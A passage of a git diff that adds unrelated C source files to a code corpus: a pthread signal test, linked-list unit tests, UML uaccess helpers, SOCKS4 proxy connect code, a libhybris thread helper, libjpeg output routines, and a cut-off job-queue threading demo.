nsigs = 0; + + pthread_barrier_wait (&b); + + sigset_t ss; + sigemptyset (&ss); + sigaddset (&ss, THE_SIG); + if (pthread_sigmask (SIG_BLOCK, &ss, NULL) != 0) + { + puts ("pthread_sigmask failed"); + exit (1); + } + + /* Start sending signals. */ + for (i = 0; i < TOTAL_SIGS; ++i) + { + if (kill (getpid (), THE_SIG) != 0) + { + puts ("kill failed"); + exit (1); + } + + if (TEMP_FAILURE_RETRY (sem_wait (&s)) != 0) + { + puts ("sem_wait failed"); + exit (1); + } + + ++nsigs; + } + + pthread_barrier_wait (&b); + + if (pthread_sigmask (SIG_UNBLOCK, &ss, NULL) != 0) + { + puts ("pthread_sigmask failed"); + exit (1); + } + + for (i = 0; i < N; ++i) + if (pthread_join (th[i], NULL) != 0) + { + puts ("join failed"); + exit (1); + } + } + + if (pthread_attr_destroy (&a) != 0) + { + puts ("attr_destroy failed"); + exit (1); + } + + return 0; +} diff --git a/pool/shard011/C/0142074_test_doubly_linked_list.c b/pool/shard011/C/0142074_test_doubly_linked_list.c new file mode 100644 index 0000000000000000000000000000000000000000..0a658285f263565286b186d526de157d5f59b3d6 --- /dev/null +++ b/pool/shard011/C/0142074_test_doubly_linked_list.c @@ -0,0 +1,101 @@ +#include "minunit.h" +#include "../src/linked_list/doubly/linked_list.h" + +int tests_run = 0; + +static char* test_create_normal_op() { + node *first = (void*)0; + mu_assert("error, no free memory", (first = create_node()) != NULL); + delete_head(&first); + return 0; +} + +static char* test_insert_head_normal_op() { + node *first = NULL; + mu_assert("error, unable to insert item into the list", insert_head(&first, 10) == 0); + mu_assert("error, item not inserted at the head", first->item == 10); + mu_assert("error, unable to insert item into the list", insert_head(&first, 12) == 0); + mu_assert("error, item not inserted at the head", first->item == 12); + delete_head(&first); + delete_head(&first); + return 0; +} + +static char* test_insert_tail_normal_op() { + node *first = NULL; + mu_assert("error, unable to insert item into the list", insert_tail(&first, 10) == 0); + mu_assert("error, item cannot be found", first->item == 10); + mu_assert("error, unable to insert item into the list", insert_tail(&first, 12) == 0); + node *temp = first; + while (temp->right != NULL) { + temp = temp->right; + } + mu_assert("error, item cannot be found", temp->item == 12); + delete_head(&first); + delete_head(&first); + return 0; +} + +static char* test_free_node_normal_op() { + node *first = NULL; + insert_head(&first, 10); + mu_assert("error, unable to free the memory being used by the node", free_node(&first) == 0); + first = NULL; + mu_assert("error, unable to free the memory being used by the node", free_node(&first) == -3); + return 0; +} + +static char* test_delete_head_normal_op() { + node *first = NULL; + mu_assert("error, unable to free the memory being used by the node", delete_tail(&first) == -3); + insert_head(&first, 10); + insert_head(&first, 12); + mu_assert("error, unable to free the memory being used by the node", delete_head(&first) == 12); + insert_tail(&first, 14); + mu_assert("error, unable to free the memory being used by the node", delete_head(&first) == 10); + delete_head(&first); + return 0; +} + +static char* test_delete_tail_normal_op() { + node *first = NULL; + mu_assert("error, unable to free the memory being used by the node", delete_tail(&first) == -3); + insert_head(&first, 10); + insert_head(&first, 12); + mu_assert("error, unable to free the memory being used by the node", delete_tail(&first) == 10); + insert_tail(&first, 14); + mu_assert("error, unable to free the memory being used by the node", delete_tail(&first) == 14); + delete_head(&first); + return 0; +} + +static char* test_null() { + mu_assert("error, NULL passed", insert_head(NULL, 10) == -1); + mu_assert("error, NULL passed", insert_tail(NULL, 10) == -1); + mu_assert("error, NULL passed", delete_head(NULL) == -1); + mu_assert("error, NULL passed", delete_tail(NULL) == -1); + mu_assert("error, NULL passed", free_node(NULL) == -1); + return 0; +} + +static char* all_tests() { + mu_run_test(test_create_normal_op); + mu_run_test(test_insert_head_normal_op); + mu_run_test(test_insert_tail_normal_op); + mu_run_test(test_free_node_normal_op); + mu_run_test(test_delete_head_normal_op); + mu_run_test(test_delete_tail_normal_op); + mu_run_test(test_null); + return 0; +} + +int main() { + char *result = all_tests(); + if (result != 0) { + printf("%s\n", result); + } else { + printf("ALL TESTS PASSED\n"); + } + printf("Tests run: %d\n", tests_run); + return result != 0; +} diff --git a/pool/shard011/C/0142075_uaccess_user.c b/pool/shard011/C/0142075_uaccess_user.c new file mode 100644 index 0000000000000000000000000000000000000000..8c220f054b611a3349114e69eb8fe8cb188e39ab --- /dev/null +++ b/pool/shard011/C/0142075_uaccess_user.c @@ -0,0 +1,105 @@ +/* + * Copyright (C) 2001 Chris Emerson (cemerson@chiark.greenend.org.uk) + * Copyright (C) 2001 Jeff Dike (jdike@karaya.com) + * Licensed under the GPL + */ + +#include +#include +#include "user_util.h" +#include "uml_uaccess.h" +#include "task.h" +#include "kern_util.h" + +int __do_copy_from_user(void *to, const void *from, int n, + void **fault_addr, void **fault_catcher) +{ + struct tt_regs save = TASK_REGS(get_current())->tt; + unsigned long fault; + int faulted; + + fault = __do_user_copy(to, from, n, fault_addr, fault_catcher, + __do_copy, &faulted); + TASK_REGS(get_current())->tt = save; + + if(!faulted) + return 0; + else if (fault) + return n - (fault - (unsigned long) from); + else + /* In case of a general protection fault, we don't have the + * fault address, so NULL is used instead. Pretend we didn't + * copy anything. */ + return n; +} + +static void __do_strncpy(void *dst, const void *src, int count) +{ + strncpy(dst, src, count); +} + +int __do_strncpy_from_user(char *dst, const char *src, unsigned long count, + void **fault_addr, void **fault_catcher) +{ + struct tt_regs save = TASK_REGS(get_current())->tt; + unsigned long fault; + int faulted; + + fault = __do_user_copy(dst, src, count, fault_addr, fault_catcher, + __do_strncpy, &faulted); + TASK_REGS(get_current())->tt = save; + + if(!faulted) return(strlen(dst)); + else return(-1); +} + +static void __do_clear(void *to, const void *from, int n) +{ + memset(to, 0, n); +} + +int __do_clear_user(void *mem, unsigned long len, + void **fault_addr, void **fault_catcher) +{ + struct tt_regs save = TASK_REGS(get_current())->tt; + unsigned long fault; + int faulted; + + fault = __do_user_copy(mem, NULL, len, fault_addr, fault_catcher, + __do_clear, &faulted); + TASK_REGS(get_current())->tt = save; + + if(!faulted) return(0); + else return(len - (fault - (unsigned long) mem)); +} + +int __do_strnlen_user(const char *str, unsigned long n, + void **fault_addr, void **fault_catcher) +{ + struct tt_regs save = TASK_REGS(get_current())->tt; + int ret; + unsigned long *faddrp = (unsigned long *)fault_addr; + sigjmp_buf jbuf; + + *fault_catcher = &jbuf; + if(sigsetjmp(jbuf, 1) == 0) + ret = strlen(str) + 1; + else ret = *faddrp - (unsigned long) str; + + *fault_addr = NULL; + *fault_catcher = NULL; + + TASK_REGS(get_current())->tt = save; + return ret; +} + +/* + * Overrides for Emacs so that we follow Linus's tabbing style. + * Emacs will notice this stuff at the end of the file and automatically + * adjust the settings for this buffer only. This must remain at the end + * of the file. + * --------------------------------------------------------------------------- + * Local variables: + * c-file-style: "linux" + * End: + */ diff --git a/pool/shard011/C/0142076_socks.c b/pool/shard011/C/0142076_socks.c new file mode 100644 index 0000000000000000000000000000000000000000..83edbb0aac90fcd610ccfee55d0894124f695285 --- /dev/null +++ b/pool/shard011/C/0142076_socks.c @@ -0,0 +1,201 @@ +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include +#include + +#include "socket.h" +#include "utils.h" +#include "socks.h" + +#define xlog_socks(t, ...) xlog(t, "[SOCKS4] " __VA_ARGS__) + +/* + * SOCKS4(a) support for proxenet + * Following the specifications from + * - http://www.openssh.com/txt/socks4.protocol + * - http://www.openssh.com/txt/socks4a.protocol + * + * +----+----+----+----+----+----+----+----+----+----+....+----+ + * | VN | CD | DSTPORT | DSTIP | USERID |NULL| + * +----+----+----+----+----+----+----+----+----+----+....+----+ + * # of bytes: 1 1 2 4 variable 1 + * + */ + +/** + * + */ +static int send_socks4_connect(sock_t socks_fd, char *ip_str, int port) +{ + unsigned char socks_request[SOCKS_REQUEST_MAXLEN]={0,}; + unsigned char ip[4] = {0,}; + char userid[64] = {0,}; + int retcode, n; + + /* VN | CD */ + socks_request[0] = SOCKS_VERSION; + socks_request[1] = SOCKS_REQUEST_CONNECT; + + /* DSTPORT */ + socks_request[2] = (port>>8) & 0xff; + socks_request[3] = port & 0xff; + + /* DSTIP */ + retcode = sscanf(ip_str, "%hhu.%hhu.%hhu.%hhu", &ip[0],&ip[1],&ip[2],&ip[3]); + if(retcode!=4){ + xlog_socks(LOG_ERROR, "IP '%s' does not have a valid IPv4 format\n", ip_str); + return -1; + } + + socks_request[4] = ip[0]; + socks_request[5] = ip[1]; + socks_request[6] = ip[2]; + socks_request[7] = ip[3]; + + + /* USERID */ + n = proxenet_xsnprintf(userid, sizeof(userid)-1, "%s:%s:%d", PROGNAME, ip_str, port); + memcpy(&socks_request[8], userid, n); + + return proxenet_write(socks_fd, socks_request, 8 + n + 1); +} + + +/** + * + */ +static int send_socks4a_connect(sock_t socks_fd, char *hostname, int port) +{ + unsigned char socks_request[SOCKS_REQUEST_MAXLEN]={0,}; + char userid[64] = {0,}; + size_t len = 0; + int n; + + /* VN | CD */ + socks_request[0] = SOCKS_VERSION; + socks_request[1] = SOCKS_REQUEST_CONNECT; + + /* DSTPORT */ + socks_request[2] = (port>>8) & 0xff; + socks_request[3] = port & 0xff; + + /* DSTIP */ + socks_request[4] = 0x00; + socks_request[5] = 0x00; + socks_request[6] = 0x00; + socks_request[7] = 0xff; + + len += 8; + + /* USERID */ + n = proxenet_xsnprintf(userid, sizeof(userid)-1, "%s:%s:%d", PROGNAME, hostname, port); + memcpy(&socks_request[len], userid, n); + + len += n+1; + + /* HOSTNAME */ + n = strlen(hostname); + if( (n+len+1) >= sizeof(socks_request)){ + xlog_socks(LOG_ERROR, "%s\n", "Hostname length provided is too large."); + return -1; + } + memcpy(&socks_request[len], hostname, n); + len += n+1; + + return proxenet_write(socks_fd, socks_request, len); +} + + +/** + * + */ +static int parse_sock4_reponse(sock_t socks_fd) +{ + char *socks_response; + + int retcode = proxenet_read_all(socks_fd, &socks_response, NULL); + if (retcode < 0){ + xlog_socks(LOG_ERROR, "proxenet_read_all() failed: %s\n", strerror(errno)); + return -1; + } + + if (retcode < 2 || !socks_response){ + /* an error occurs on server-side, just return */ + return -1; + } + + retcode = socks_response[1]; + proxenet_xfree(socks_response); + + return retcode; +} + + +/** + * Establish the CONNECT sequence of SOCKS4a protocol + * + * @return the socket of the established SOCKS server socket, -1 on error + */ +int proxenet_socks_connect(sock_t socks_fd, char *hostname, int port, bool is_socks4a) +{ + int retcode; + char *ip_str; + +#ifdef DEBUG + xlog_socks(LOG_DEBUG, "Initiating SOCKS4%s to '%s:%d (sockfd=#%d)'.\n", + is_socks4a?"a":"", hostname, port, socks_fd); +#endif + + if(! is_socks4a){ + ip_str = proxenet_resolve_hostname(hostname, AF_INET); + if(!ip_str) + return -1; + + retcode = send_socks4_connect(socks_fd, ip_str, port); + + } else { + retcode = send_socks4a_connect(socks_fd, hostname, port); + } + + if(retcode < 0){ + xlog_socks(LOG_ERROR, "CONNECT to '%s:%d' failed\n", hostname, port); + return -1; + } + + retcode = parse_sock4_reponse(socks_fd); + switch(retcode){ + case SOCKS_RESPONSE_GRANTED: +#ifdef DEBUG + xlog_socks(LOG_DEBUG, "CONNECT to '%s:%d' success via fd=#%d.\n", + hostname, port, socks_fd); +#endif + break; + + case SOCKS_RESPONSE_REJECTED_FAILED: + xlog_socks(LOG_ERROR, "%s\n", "Request rejected or failed."); + return -1; + + case SOCKS_RESPONSE_REJECTED_CLIENT_FAILED: + xlog_socks(LOG_ERROR, "%s\n", + "Request rejected because SOCKS server cannot connect to " + " identd on the clientRequest rejected or failed"); + return -1; + + case SOCKS_RESPONSE_REJECTED_USERID_FAILED: + xlog_socks(LOG_ERROR, "[SOCKS4] %s\n", + "Request rejected because the client program and identd " + "report different user-ids."); + return -1; + + default: + xlog_socks(LOG_ERROR, "Request rejected or failed (ret=%#x)\n", + retcode); + return -1; + } + + return 0; +} diff --git a/pool/shard011/C/0142077_hybris-thread.c b/pool/shard011/C/0142077_hybris-thread.c new file mode 100644 index 0000000000000000000000000000000000000000..fc2d038933b214ef0b36fe8f92c587d347a1e233 --- /dev/null +++ b/pool/shard011/C/0142077_hybris-thread.c @@ -0,0 +1,217 @@ +/** @file hybris-thread.c + * + * mce-plugin-libhybris - Libhybris plugin for Mode Control Entity + *

+ * Copyright (C) 2013-2017 Jolla Ltd. + *

+ * @author Simo Piiroinen + * + * mce-plugin-libhybris is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License. + * + * mce-plugin-libhybris is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with mce-plugin-libhybris; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include "hybris-thread.h" +#include "plugin-logging.h" + +#include + +/* ========================================================================= * + * PROTOTYPES + * ========================================================================= */ + +/* ------------------------------------------------------------------------- * + * THREAD_GATE + * ------------------------------------------------------------------------- */ + +/** Thread start details; used for inserting custom thread setup code + */ +typedef struct +{ + /** Function to call from initialized thread */ + void (*func)(void *); + + /** Parameter to pass to the thread function */ + void *data; +} thread_gate_t; + +static void *thread_gate_start_cb (void *aptr); + +static thread_gate_t *thread_gate_create (void (*func)(void *), void *data); +static void thread_gate_delete (thread_gate_t *self); + +/* ------------------------------------------------------------------------- * + * GENERIC + * ------------------------------------------------------------------------- */ + +pthread_t hybris_thread_start (void (*start)(void *), void *arg); +void hybris_thread_stop (pthread_t tid); + +/* ========================================================================= * + * DATA + * ========================================================================= */ + +/** Mutex used for synchronous worker thread startup */ +static pthread_mutex_t hybris_thread_gate_mutex = PTHREAD_MUTEX_INITIALIZER; + +/** Condition used for signaling worker thread startup */ +static pthread_cond_t hybris_thread_gate_cond = PTHREAD_COND_INITIALIZER; + +/* ========================================================================= * + * THREAD_GATE + * ========================================================================= */ + +/** Wrapper for starting new worker thread + * + * For use from hybris_thread_start(). + * + * Before the actual thread start routine is called, the + * new thread is put in to asynchronously cancellabe state + * and the starter is woken up via condition. + * + * @param aptr wrapper data as void pointer + * + * @return 0 on thread exit - via pthread_join() + */ +static void * +thread_gate_start_cb(void *aptr) +{ + thread_gate_t *gate = aptr; + + void (*func)(void*); + void *data; + + /* Allow quick and dirty cancellation */ + pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, 0); + pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, 0); + + /* Tell thread gate we're up and running */ + pthread_mutex_lock(&hybris_thread_gate_mutex); + pthread_cond_broadcast(&hybris_thread_gate_cond); + pthread_mutex_unlock(&hybris_thread_gate_mutex); + + /* Collect data we need, release rest */ + func = gate->func; + data = gate->data; + + thread_gate_delete(gate),gate = 0; + + /* Call the real thread start */ + func(data); + + return 0; +} + +/** Construct a thread gate object + * + * @param func Thread function + * @param data Data to pass to the thread function + * + * @return gate object, or NULL + */ +static thread_gate_t * +thread_gate_create(void (*func)(void *), void *data) +{ + thread_gate_t *self = calloc(1, sizeof *self); + + if( self ) { + self->func = func; + self->data = data; + } + + return self; +} + +/** Destroy a thread gate object + * + * @param self Gate object, or NULL + */ +static void +thread_gate_delete(thread_gate_t *self) +{ + if( self ) { + free(self); + } +} + +/* ========================================================================= * + * GENERIC + * ========================================================================= */ + +/** Helper for starting new worker thread + * + * @param start function to call from new thread + * @param arg data to pass to start function + * + * @return thread id on success, or 0 on error + */ +pthread_t +hybris_thread_start(void (*start)(void *), void* arg) +{ + pthread_t tid = 0; + thread_gate_t *gate = 0; + + if( !(gate = thread_gate_create(start, arg)) ) { + goto EXIT; + } + + pthread_mutex_lock(&hybris_thread_gate_mutex); + + if( pthread_create(&tid, 0, thread_gate_start_cb, gate) != 0 ) { + mce_log(LL_ERR, "could not start worker thread"); + + /* content of tid is undefined on failure, force to zero */ + tid = 0; + } + else { + /* wait until thread has had time to start and set + * up the cancellation parameters */ + mce_log(LL_DEBUG, "waiting worker to start ..."); + pthread_cond_wait(&hybris_thread_gate_cond, &hybris_thread_gate_mutex); + mce_log(LL_DEBUG, "worker started"); + + /* the thread owns the gate now */ + gate = 0; + } + + pthread_mutex_unlock(&hybris_thread_gate_mutex); + +EXIT: + + thread_gate_delete(gate); + + return tid; +} + +/** Helper for terminating worker thread + * + * @param tid Thread id from hybris_thread_start() + */ +void +hybris_thread_stop(pthread_t tid) +{ + /* Looks like there is no nice way to get the thread to return from + * hybris_device_sensors_handle->poll(), so we need to just cancel the thread ... */ + + if( tid != 0 ) { + mce_log(LL_DEBUG, "stopping worker thread"); + if( pthread_cancel(tid) != 0 ) { + mce_log(LL_ERR, "failed to stop worker thread"); + } + else { + void *status = 0; + pthread_join(tid, &status); + mce_log(LL_DEBUG, "worker stopped, status = %p", status); + } + } +} diff --git a/pool/shard011/C/0142078_jdatadst.c b/pool/shard011/C/0142078_jdatadst.c new file mode 100644 index 0000000000000000000000000000000000000000..68a61f13dbdca1fd28dd5ce43bc1d58720353da2 --- /dev/null +++ b/pool/shard011/C/0142078_jdatadst.c @@ -0,0 +1,270 @@ +/* + * jdatadst.c + * + * Copyright (C) 1994-1996, Thomas G. Lane. + * Modified 2009-2012 by Guido Vollbeding. + * This file is part of the Independent JPEG Group's software. + * For conditions of distribution and use, see the accompanying README file. + * + * This file contains compression data destination routines for the case of + * emitting JPEG data to memory or to a file (or any stdio stream). + * While these routines are sufficient for most applications, + * some will want to use a different destination manager. + * IMPORTANT: we assume that fwrite() will correctly transcribe an array of + * JOCTETs into 8-bit-wide elements on external storage. If char is wider + * than 8 bits on your machine, you may need to do some tweaking. + */ + +/* this is not a core library module, so it doesn't define JPEG_INTERNALS */ +#include "jinclude.h" +#include "jpeglib.h" +#include "jerror.h" + +#ifndef HAVE_STDLIB_H /* should declare malloc(),free() */ +extern void * malloc JPP((size_t size)); +extern void free JPP((void *ptr)); +#endif + + +/* Expanded data destination object for stdio output */ + +typedef struct { + struct jpeg_destination_mgr pub; /* public fields */ + + FILE * outfile; /* target stream */ + JOCTET * buffer; /* start of buffer */ +} my_destination_mgr; + +typedef my_destination_mgr * my_dest_ptr; + +#define OUTPUT_BUF_SIZE 4096 /* choose an efficiently fwrite'able size */ + + +/* Expanded data destination object for memory output */ + +typedef struct { + struct jpeg_destination_mgr pub; /* public fields */ + + unsigned char ** outbuffer; /* target buffer */ + unsigned long * outsize; + unsigned char * newbuffer; /* newly allocated buffer */ + JOCTET * buffer; /* start of buffer */ + size_t bufsize; +} my_mem_destination_mgr; + +typedef my_mem_destination_mgr * my_mem_dest_ptr; + + +/* + * Initialize destination --- called by jpeg_start_compress + * before any data is actually written. + */ + +METHODDEF(void) +init_destination (j_compress_ptr cinfo) +{ + my_dest_ptr dest = (my_dest_ptr) cinfo->dest; + + /* Allocate the output buffer --- it will be released when done with image */ + dest->buffer = (JOCTET *) + (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE, + OUTPUT_BUF_SIZE * SIZEOF(JOCTET)); + + dest->pub.next_output_byte = dest->buffer; + dest->pub.free_in_buffer = OUTPUT_BUF_SIZE; +} + +METHODDEF(void) +init_mem_destination (j_compress_ptr cinfo) +{ + /* no work necessary here */ +} + + +/* + * Empty the output buffer --- called whenever buffer fills up. + * + * In typical applications, this should write the entire output buffer + * (ignoring the current state of next_output_byte & free_in_buffer), + * reset the pointer & count to the start of the buffer, and return TRUE + * indicating that the buffer has been dumped. + * + * In applications that need to be able to suspend compression due to output + * overrun, a FALSE return indicates that the buffer cannot be emptied now. + * In this situation, the compressor will return to its caller (possibly with + * an indication that it has not accepted all the supplied scanlines). The + * application should resume compression after it has made more room in the + * output buffer. Note that there are substantial restrictions on the use of + * suspension --- see the documentation. + * + * When suspending, the compressor will back up to a convenient restart point + * (typically the start of the current MCU). next_output_byte & free_in_buffer + * indicate where the restart point will be if the current call returns FALSE. + * Data beyond this point will be regenerated after resumption, so do not + * write it out when emptying the buffer externally. + */ + +METHODDEF(boolean) +empty_output_buffer (j_compress_ptr cinfo) +{ + my_dest_ptr dest = (my_dest_ptr) cinfo->dest; + + if (JFWRITE(dest->outfile, dest->buffer, OUTPUT_BUF_SIZE) != + (size_t) OUTPUT_BUF_SIZE) + ERREXIT(cinfo, JERR_FILE_WRITE); + + dest->pub.next_output_byte = dest->buffer; + dest->pub.free_in_buffer = OUTPUT_BUF_SIZE; + + return TRUE; +} + +METHODDEF(boolean) +empty_mem_output_buffer (j_compress_ptr cinfo) +{ + size_t nextsize; + JOCTET * nextbuffer; + my_mem_dest_ptr dest = (my_mem_dest_ptr) cinfo->dest; + + /* Try to allocate new buffer with double size */ + nextsize = dest->bufsize * 2; + nextbuffer = (JOCTET *) malloc(nextsize); + + if (nextbuffer == NULL) + ERREXIT1(cinfo, JERR_OUT_OF_MEMORY, 10); + + MEMCOPY(nextbuffer, dest->buffer, dest->bufsize); + + if (dest->newbuffer != NULL) + free(dest->newbuffer); + + dest->newbuffer = nextbuffer; + + dest->pub.next_output_byte = nextbuffer + dest->bufsize; + dest->pub.free_in_buffer = dest->bufsize; + + dest->buffer = nextbuffer; + dest->bufsize = nextsize; + + return TRUE; +} + + +/* + * Terminate destination --- called by jpeg_finish_compress + * after all data has been written. Usually needs to flush buffer. + * + * NB: *not* called by jpeg_abort or jpeg_destroy; surrounding + * application must deal with any cleanup that should happen even + * for error exit. + */ + +METHODDEF(void) +term_destination (j_compress_ptr cinfo) +{ + my_dest_ptr dest = (my_dest_ptr) cinfo->dest; + size_t datacount = OUTPUT_BUF_SIZE - dest->pub.free_in_buffer; + + /* Write any data remaining in the buffer */ + if (datacount > 0) { + if (JFWRITE(dest->outfile, dest->buffer, datacount) != datacount) + ERREXIT(cinfo, JERR_FILE_WRITE); + } + fflush(dest->outfile); + /* Make sure we wrote the output file OK */ + if (ferror(dest->outfile)) + ERREXIT(cinfo, JERR_FILE_WRITE); +} + +METHODDEF(void) +term_mem_destination (j_compress_ptr cinfo) +{ + my_mem_dest_ptr dest = (my_mem_dest_ptr) cinfo->dest; + + *dest->outbuffer = dest->buffer; + *dest->outsize = dest->bufsize - dest->pub.free_in_buffer; +} + + +/* + * Prepare for output to a stdio stream. + * The caller must have already opened the stream, and is responsible + * for closing it after finishing compression. + */ + +GLOBAL(void) +jpeg_stdio_dest (j_compress_ptr cinfo, void * outfile) // modified by BLIK, original code: FILE * outfile +{ + my_dest_ptr dest; + + /* The destination object is made permanent so that multiple JPEG images + * can be written to the same file without re-executing jpeg_stdio_dest. + * This makes it dangerous to use this manager and a different destination + * manager serially with the same JPEG object, because their private object + * sizes may be different. Caveat programmer. + */ + if (cinfo->dest == NULL) { /* first time for this JPEG object? */ + cinfo->dest = (struct jpeg_destination_mgr *) + (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_PERMANENT, + SIZEOF(my_destination_mgr)); + } + + dest = (my_dest_ptr) cinfo->dest; + dest->pub.init_destination = init_destination; + dest->pub.empty_output_buffer = empty_output_buffer; + dest->pub.term_destination = term_destination; + dest->outfile = outfile; +} + + +/* + * Prepare for output to a memory buffer. + * The caller may supply an own initial buffer with appropriate size. + * Otherwise, or when the actual data output exceeds the given size, + * the library adapts the buffer size as necessary. + * The standard library functions malloc/free are used for allocating + * larger memory, so the buffer is available to the application after + * finishing compression, and then the application is responsible for + * freeing the requested memory. + * Note: An initial buffer supplied by the caller is expected to be + * managed by the application. The library does not free such buffer + * when allocating a larger buffer. + */ + +GLOBAL(void) +jpeg_mem_dest (j_compress_ptr cinfo, + unsigned char ** outbuffer, unsigned long * outsize) +{ + my_mem_dest_ptr dest; + + if (outbuffer == NULL || outsize == NULL) /* sanity check */ + ERREXIT(cinfo, JERR_BUFFER_SIZE); + + /* The destination object is made permanent so that multiple JPEG images + * can be written to the same buffer without re-executing jpeg_mem_dest. + */ + if (cinfo->dest == NULL) { /* first time for this JPEG object? */ + cinfo->dest = (struct jpeg_destination_mgr *) + (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_PERMANENT, + SIZEOF(my_mem_destination_mgr)); + } + + dest = (my_mem_dest_ptr) cinfo->dest; + dest->pub.init_destination = init_mem_destination; + dest->pub.empty_output_buffer = empty_mem_output_buffer; + dest->pub.term_destination = term_mem_destination; + dest->outbuffer = outbuffer; + dest->outsize = outsize; + dest->newbuffer = NULL; + + if (*outbuffer == NULL || *outsize == 0) { + /* Allocate initial buffer */ + dest->newbuffer = *outbuffer = (unsigned char *) malloc(OUTPUT_BUF_SIZE); + if (dest->newbuffer == NULL) + ERREXIT1(cinfo, JERR_OUT_OF_MEMORY, 10); + *outsize = OUTPUT_BUF_SIZE; + } + + dest->pub.next_output_byte = dest->buffer = *outbuffer; + dest->pub.free_in_buffer = dest->bufsize = *outsize; +} diff --git a/pool/shard011/C/0142079_main.c b/pool/shard011/C/0142079_main.c new file mode 100644 index 0000000000000000000000000000000000000000..832e8647940b458f9ce56f20ebca80afce6ad4de --- /dev/null +++ b/pool/shard011/C/0142079_main.c @@ -0,0 +1,283 @@ +#define _POSIX_C_SOURCE 200809L + +#include +#include +#include +#include +#include +#include +#include + +/* Total number of worker threads */ +static const size_t num_threads = 4; + +/* Total number of jobs */ +static const size_t num_jobs = 20; + +/* Struct sent by a thread for a completed job */ +struct job_report { + int sleep_time; /*!< Amount of time thread worked/slept */ + int worker_id; /*!< ID of worker thread */ + bool done; /*!< true if thread is finished */ +}; + +/* Struct to contain a job queue */ +struct job_queue { + Queue queue; /*!< The queue itself */ + pthread_mutex_t mutex; /*!< Mutex to access the queue */ + pthread_cond_t cond; /*!< Condition variable for jobs in queue */ +}; + +/* Struct containing info passed to a worker thread on creation */ +struct thread_info { + struct job_queue * in_queue; /*!< Queue for incoming tasks */ + struct job_queue * out_queue; /*!< Queue for outgoing job reports */ + int worker_id; /*!< ID of worker thread (self) */ +}; + +/* Creates a new job queue */ + +struct job_queue * job_queue_create(const enum gds_datatype type) +{ + struct job_queue * new_queue = xmalloc(sizeof *new_queue); + + /* Queue could conceivably need more than num_jobs elements, + * since each thread will send an additional report when it's + * done, so we make it resizable just in case. */ + + new_queue->queue = queue_create(num_jobs, type, GDS_RESIZABLE); + if ( !new_queue->queue ) { + fprintf(stderr, "couldn't create queue\n"); + exit(EXIT_FAILURE); + } + + if ( pthread_mutex_init(&new_queue->mutex, NULL) != 0 ) { + perror("couldn't initialize mutex"); + exit(EXIT_FAILURE); + } + + if ( pthread_cond_init(&new_queue->cond, NULL) != 0 ) { + perror("couldn't initialize condition variable"); + exit(EXIT_FAILURE); + } + + return new_queue; +} + +/* Destroys a job queue */ + +void job_queue_destroy(struct job_queue * queue) +{ + queue_destroy(queue->queue); + + if ( pthread_mutex_destroy(&queue->mutex) != 0 ) { + fprintf(stderr, "couldn't destroy mutex\n"); + exit(EXIT_FAILURE); + } + + if ( pthread_cond_destroy(&queue->cond) != 0 ) { + fprintf(stderr, "couldn't destroy condition variable\n"); + exit(EXIT_FAILURE); + } + + free(queue); +} + +/* Creates a job report for sending back to the main thread */ + +struct job_report * job_report_create(const int sleep_time, + const int worker_id, + const bool done) +{ + struct job_report * new_report = xmalloc(sizeof *new_report); + + new_report->sleep_time = sleep_time; + new_report->worker_id = worker_id; + new_report->done = done; + + return new_report; +} + +/* Creates a new thread info object */ + +struct thread_info * thread_info_create(const int worker_id, + struct job_queue * in_queue, + struct job_queue * out_queue) +{ + struct thread_info * tinfo = xmalloc(sizeof *tinfo); + + tinfo->worker_id = worker_id; + tinfo->in_queue = in_queue; + tinfo->out_queue = out_queue; + + return tinfo; +} + +/* Worker thread function */ + +void * thread_func(void * arg) +{ + struct thread_info * tinfo = arg; + struct job_queue * in_queue = tinfo->in_queue; + struct job_queue * out_queue = tinfo->out_queue; + const int id = tinfo->worker_id; + free(arg); + + bool done = false; + + /* Loop until done */ + + while ( !done ) { + int job = -1; + + /* Get next job from in queue */ + + if ( pthread_mutex_lock(&in_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't lock mutex\n"); + exit(EXIT_FAILURE); + } + + if ( queue_is_empty(in_queue->queue) ) { + + /* If queue is empty, we're finished */ + + done = true; + } + else { + + /* Otherwise retrieve the next job */ + + queue_pop(in_queue->queue, &job); + } + + if ( pthread_mutex_unlock(&in_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't unlock mutex\n"); + exit(EXIT_FAILURE); + } + + /* Do the work */ + + if ( !done ) { + sleep(job); + } + + /* Report the job or done status to the out queue */ + + if ( pthread_mutex_lock(&out_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't lock mutex\n"); + exit(EXIT_FAILURE); + } + + struct job_report * report = job_report_create(job, id, done); + queue_push(out_queue->queue, report); + + if ( pthread_cond_signal(&out_queue->cond) != 0 ) { + fprintf(stderr, "couldn't signal condition variable\n"); + exit(EXIT_FAILURE); + } + + if ( pthread_mutex_unlock(&out_queue->mutex) != 0 ) { + fprintf(stderr, "couldn't unlock mutex\n"); + exit(EXIT_FAILURE); + } + } + + return NULL; +} + +int main(void) +{ + struct job_queue * out_queue = job_queue_create(DATATYPE_INT); + struct job_queue * done_queue = job_queue_create(DATATYPE_POINTER); + pthread_t tid[num_threads]; + int live_threads = 0; + + /* Populate out queue with tasks, giving the PRNG + * pedants some ammunition in the process. Each + * 'task' consists of merely sleeping (nice job!) + * for a specified number of seconds. Here we just + * randomly generate those numbers of seconds. */ + + srand( (unsigned) time(NULL)); + for ( size_t i = 0; i < num_jobs; ++i ) { + queue_push(out_queue->queue, rand() % 10 + 1); + } + + /* Start threads */ + + for ( size_t i = 0; i < num_threads; ++i ) { + struct thread_info * tinfo = thread_info_create(i + 1, + out_queue, + done_queue); + if ( pthread_create(&tid[i], NULL, thread_func, tinfo) != 0 ) { + fprintf(stderr, 